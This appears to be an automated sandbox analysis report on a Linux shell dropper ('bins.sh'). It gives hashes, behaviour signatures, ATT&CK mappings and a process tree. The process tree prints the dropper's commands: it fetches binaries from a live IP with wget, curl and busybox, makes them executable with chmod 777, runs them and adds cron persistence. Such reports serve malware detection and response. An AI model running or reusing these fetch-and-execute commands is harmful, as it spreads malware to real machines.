7df8e8f253faed764b455004c890e264de892c7cccbd188de7d502b86c7baed9

Analysis

max time kernel
149s
max time network
178s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21-11-2024 14:17

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General

Target

bins.sh
Size

10KB
MD5

50c4968b81b3ca09b6c7a1261db236d2
SHA1

0f7f226afb91914d7134093e008a540c6a13953e
SHA256

7df8e8f253faed764b455004c890e264de892c7cccbd188de7d502b86c7baed9
SHA512

1cae6e0acb90eac7827241f53f8a412caf5af16bc4ed63cb2d464f0b6585abbd6dd78c98775c3ad7df701f3be201c69ee11949f831cf4f7eb4c2942e9d5e5026
SSDEEP

96:y3DNXls+h4y2LLML8LE77dwdYd8Xd5dVdMJfamC8H7TH/b3DNEFGlse8VxOonYfy:y3DNDh4y2/KaE78GJD3DNwDNKaE89

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1976) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
686	chmod
725	chmod
748	chmod
782	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX	688	8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
/tmp/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo	726	yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
/tmp/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA	750	518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
/tmp/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO	783	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO

Renames itself 1 IoCs

pid	Process
784	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.1OzU79	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1164/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/839/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/848/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/939/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/979/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/992/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/13/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/906/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/990/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1183/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1190/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1089/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1137/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1141/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/644/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1006/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1060/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/26/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/41/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/995/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1067/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1176/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1202/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/3/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/27/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/793/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/926/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/812/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/820/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/845/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/600/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/792/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/910/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/965/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1009/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1153/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/804/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/919/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1020/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1109/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1133/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/29/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/830/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/885/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1007/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/916/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/983/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/993/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1068/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1106/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1184/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/900/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/931/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/988/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1103/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1113/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/834/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/873/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/879/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/1177/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
File opened for reading	/proc/278/cmdline	vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX	wget
File opened for modification	/tmp/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX	busybox
File opened for modification	/tmp/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo	wget
File opened for modification	/tmp/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo	curl
File opened for modification	/tmp/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo	busybox
File opened for modification	/tmp/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA	busybox
File opened for modification	/tmp/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO	curl
File opened for modification	/tmp/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO	busybox
File opened for modification	/tmp/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX	curl
File opened for modification	/tmp/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA	wget
File opened for modification	/tmp/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA	curl
File opened for modification	/tmp/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:652
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:654
- /usr/bin/wget
  wget http://216.126.231.240/bins/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
  2⤵
  - Writes file to tmp directory
  PID:657
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:679
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
  2⤵
  - Writes file to tmp directory
  PID:683
- /bin/chmod
  chmod 777 8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
  2⤵
  - File and Directory Permissions Modification
  PID:686
- /tmp/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
  ./8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
  2⤵
  - Executes dropped EXE
  PID:688
- /bin/rm
  rm 8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
  2⤵
  PID:691
- /usr/bin/wget
  wget http://216.126.231.240/bins/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
  2⤵
  - Writes file to tmp directory
  PID:692
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:704
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
  2⤵
  - Writes file to tmp directory
  PID:719
- /bin/chmod
  chmod 777 yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
  ./yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
  2⤵
  - Executes dropped EXE
  PID:726
- /bin/rm
  rm yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
  2⤵
  PID:729
- /usr/bin/wget
  wget http://216.126.231.240/bins/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
  2⤵
  - Writes file to tmp directory
  PID:730
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
  2⤵
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod 777 518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
  ./518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm 518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
  2⤵
  PID:752
- /usr/bin/wget
  wget http://216.126.231.240/bins/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
  2⤵
  - Writes file to tmp directory
  PID:754
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:764
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
  2⤵
  - Writes file to tmp directory
  PID:781
- /bin/chmod
  chmod 777 vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
  ./vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:783
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:785
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:786
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:787
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:788
- /bin/rm
  rm vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
  2⤵
  PID:790
- /usr/bin/wget
  wget http://216.126.231.240/bins/aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
  2⤵
  PID:793

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.1OzU79

Filesize
210B

MD5
af75ec4e01793a667857364c6035379c

SHA1
4fef64730625640d338e3872b7b114874eeff096

SHA256
42b6a3a96d98683924c7efe30921ad3b1b2354694f8bc18dea9bc4f0c0ad0e68

SHA512
cc6ca97dd4b8160e5d0683db3a0ff2c9ef7097b504475d754572a07b1e27d2e0298a1ff8465812d2f7b1722977626b5facca7a7df9d34a892133c808b1f8c2ff

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads